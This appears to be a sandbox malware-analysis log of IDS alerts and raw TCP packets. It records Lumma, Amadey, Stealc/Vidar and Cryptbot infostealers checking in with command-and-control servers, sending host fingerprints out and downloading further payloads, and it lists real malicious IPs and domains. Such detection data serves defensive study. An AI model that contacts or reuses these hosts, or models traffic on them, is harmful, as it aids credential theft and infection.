2024-12-16T13:17:27.065349+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.8	50824	1.1.1.1	53	UDP
2024-12-16T13:17:27.065349+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.8	50824	1.1.1.1	53	UDP
2024-12-16T13:17:28.121467+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49969	172.67.164.37	443	TCP
2024-12-16T13:17:28.121467+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49969	172.67.164.37	443	TCP
2024-12-16T13:17:28.901586+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49974	104.102.49.254	443	TCP
2024-12-16T13:17:30.271992+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49974	104.102.49.254	443	TCP
2024-12-16T13:17:31.578843+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:33.508830+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:34.440730+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49991	172.67.164.37	443	TCP
2024-12-16T13:17:34.440730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49991	172.67.164.37	443	TCP
2024-12-16T13:17:34.823909+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:35.953762+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:36.846099+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49999	185.215.113.43	80	TCP
2024-12-16T13:17:38.084663+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50006	172.67.164.37	443	TCP
2024-12-16T13:17:38.084663+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50006	172.67.164.37	443	TCP
2024-12-16T13:17:39.678119+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:41.549639+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:42.272868+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50038	172.67.164.37	443	TCP
2024-12-16T13:17:42.272868+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50038	172.67.164.37	443	TCP
2024-12-16T13:17:42.973922+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50038	172.67.164.37	443	TCP
2024-12-16T13:17:44.462956+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	50056	185.215.113.16	80	TCP
2024-12-16T13:17:44.570473+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	50057	31.41.244.11	80	TCP
2024-12-16T13:17:44.695890+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	50046	TCP
2024-12-16T13:17:47.965160+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	50073	185.215.113.16	80	TCP
2024-12-16T13:17:49.344939+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	50077	185.215.113.43	80	TCP
2024-12-16T13:17:50.822488+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	50085	31.41.244.11	80	TCP
2024-12-16T13:17:56.457737+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.8	50102	116.203.12.114	443	TCP
2024-12-16T13:17:58.132242+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50109	185.215.113.206	80	TCP
2024-12-16T13:17:58.743800+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.12.114	443	192.168.2.8	50110	TCP
2024-12-16T13:18:01.114401+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.12.114	443	192.168.2.8	50119	TCP
2024-12-16T13:18:01.606716+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50125	185.215.113.206	80	TCP
2024-12-16T13:18:06.742057+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.8	50151	141.8.192.141	80	TCP
2024-12-16T13:18:08.404197+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.8	50167	141.8.192.141	80	TCP
2024-12-16T13:18:08.755533+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50158	185.215.113.206	80	TCP
2024-12-16T13:21:34.085237+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.8	50640	141.8.192.141	80	TCP
2024-12-16T13:21:57.493050+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	50676	185.215.113.43	80	TCP
2024-12-16T13:22:45.402539+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.8	58525	1.1.1.1	53	UDP
2024-12-16T13:22:46.765853+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:46.765853+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:46.891463+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	50736	TCP
2024-12-16T13:22:47.498653+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:47.498653+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:48.258832+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	50746	185.215.113.43	80	TCP
2024-12-16T13:22:48.796552+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:22:48.796552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:22:51.307021+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:22:51.307021+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:22:52.878430+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50753	185.215.113.206	80	TCP
2024-12-16T13:22:52.913946+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50755	104.21.50.161	443	TCP
2024-12-16T13:22:52.913946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50755	104.21.50.161	443	TCP
2024-12-16T13:22:53.410502+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	50756	185.215.113.43	80	TCP
2024-12-16T13:22:55.325418+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50759	104.21.50.161	443	TCP
2024-12-16T13:22:55.325418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50759	104.21.50.161	443	TCP
2024-12-16T13:22:58.568219+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	50763	185.215.113.43	80	TCP
2024-12-16T13:22:58.628452+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50764	104.21.50.161	443	TCP
2024-12-16T13:22:58.628452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50764	104.21.50.161	443	TCP
2024-12-16T13:23:02.139855+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50769	104.21.50.161	443	TCP
2024-12-16T13:23:02.139855+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50769	104.21.50.161	443	TCP
2024-12-16T13:23:03.845614+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	50770	185.215.113.43	80	TCP
2024-12-16T13:23:04.082874+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	50769	104.21.50.161	443	TCP
2024-12-16T13:23:05.626825+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50774	104.21.50.161	443	TCP
2024-12-16T13:23:05.626825+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50774	104.21.50.161	443	TCP
2024-12-16T13:23:05.631225+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	50774	104.21.50.161	443	TCP
2024-12-16T13:23:08.934220+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50778	104.21.50.161	443	TCP
2024-12-16T13:23:08.934220+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50778	104.21.50.161	443	TCP
2024-12-16T13:23:10.174429+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50778	104.21.50.161	443	TCP
2024-12-16T13:23:11.651780+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	50783	185.215.113.16	80	TCP
2024-12-16T13:23:20.508871+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50809	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 13:16:06.080187082 CET	49709	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:06.200170040 CET	80	49709	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:06.200333118 CET	49709	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:06.200670958 CET	49709	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:06.320482969 CET	80	49709	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:07.529460907 CET	80	49709	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:07.529545069 CET	49709	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:09.045610905 CET	49709	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:09.045773029 CET	49710	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:09.165726900 CET	80	49710	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:09.165882111 CET	49710	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:09.165962934 CET	80	49709	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:09.166026115 CET	49709	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:09.166199923 CET	49710	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:09.286290884 CET	80	49710	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:10.524090052 CET	80	49710	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:10.525255919 CET	49710	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:10.541665077 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:10.662358046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:10.666218996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:10.666312933 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:10.786381006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990325928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990412951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990425110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990436077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990446091 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990452051 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990463972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990494967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:11.990537882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:11.990537882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:11.990714073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990725040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990735054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:11.990758896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:11.990770102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.110486984 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.110526085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.110662937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.114706993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.114758015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.181994915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.182075024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.182090998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.182141066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.185981989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.186038017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.186120033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.186156988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.194484949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.194535017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.197412968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.197458029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.197510958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.197546005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.205986977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.206049919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.206063986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.206089020 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.214303970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.214370012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.214471102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.214508057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.222721100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.222790956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.222815990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.222853899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.231137037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.231177092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.231185913 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.231219053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.239571095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.239639044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.239645958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.239691973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.247983932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.248039007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.248152018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.248188019 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.255620003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.255683899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.255723000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.255760908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.263267040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.263345957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.263354063 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.263395071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.302190065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.302406073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.373393059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.373437881 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.373465061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.373502970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.377182007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.377258062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.377266884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.377309084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.384860992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.384915113 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.384931087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.384978056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.392466068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.392527103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.392580032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.392621994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.400105000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.400185108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.400198936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.400252104 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.407865047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.407876968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.407939911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.415460110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.415493011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.415533066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.415577888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.423019886 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.423047066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.423084974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.423110962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.430727005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.430797100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.430807114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.430844069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.438388109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.438472986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.438472986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.438528061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.442043066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.442109108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.442128897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.442152977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.445703030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.445763111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.445907116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.445955992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.449431896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.449537039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.449552059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.449601889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.453063011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.453130960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.453134060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.453180075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.456677914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.456729889 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.456734896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.456775904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.460306883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.460362911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.460376024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.460422039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.463948011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.464023113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.464042902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.464075089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.467657089 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.467725039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.467806101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.467863083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.471290112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.471359968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.471364021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.471410036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.564908028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.564946890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.565007925 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.565007925 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.565901041 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.565964937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.566003084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.566107035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.569587946 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.569641113 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.569653034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.569695950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.573271990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.573324919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.573348045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.573394060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.576936960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.577006102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.577008963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.577056885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.580579042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.580636978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.580674887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.580720901 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.584427118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.584446907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.584481001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.584511995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.587920904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.587950945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.587984085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.588017941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.591568947 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.591628075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.591660976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.591710091 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.595272064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.595293045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.595360041 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.595360041 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.598947048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.599003077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.599014997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.599109888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.602597952 CET	80	49711	31.41.244.11	192.168.2.8
